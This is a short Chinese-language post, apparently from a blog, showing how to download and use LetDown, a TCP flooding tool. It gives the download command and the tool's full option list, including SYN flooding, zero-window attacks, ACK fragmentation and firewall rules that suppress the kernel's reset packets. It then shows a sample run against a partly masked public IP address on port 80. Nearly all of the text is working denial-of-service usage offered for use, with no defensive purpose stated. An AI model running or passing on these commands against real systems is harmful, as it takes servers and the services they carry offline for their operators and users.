一个切断 TCP 连接的东西  和它的名字一样

wget http://sourceforge.net/projects/complemento/files/latest/download?source=files

[root Dialog]# letdown

LetDown 3wh+payload flooder v0.7.7.2 - Acri Emanuele (crossbower@gmail.com) Usage:   letdown -d dst_ip -p dst_port -D dst_mac  [options] Options:   -d    destination ip address, target   -D    destination mac address or router mac address   -p    destination port   -s    source ip address   -S    source mac address   -x    first source port (default 1025)   -y    last source port (default 65534)   -l    enables infinite loop mode   -i    network interface   -t    sleep time in microseconds (default 10000)   -a    max time in second for waiting responses Extra options:   -v    verbosity level (0=quiet, 1=normal, 2=verbose)   -f    automagically set firewall rules for blocking         rst packet generated by the kernel         examples: -f iptables, -f blackhole (for freebsd)   -L    special interaction levels with the target         s  syn flooding, no 3-way-handshake         a  send acknowledgment packets (polite mode)         f  send finalize packets (include polite mode)         r  send reset packets (check firewall rules...)   -W    window size for ack packets (ex: 0-window attack)   -O    enable ack fragmentation and set fragment offset delta   -C    fragment counter if fragmentation is enabled (default 1)   -P    payload file (see payloads directory...)   -M    multistage payload file (see payloads directory...) 简单的使用

[root letdown]# ./letdown -d  59.69.xx.xx -p 80 -i eth0 -D 14:DA:E9:C8:05:6A -f iptables

LetDown start: Mon May 13 23:03:41 2013 ^Ckilling child processes...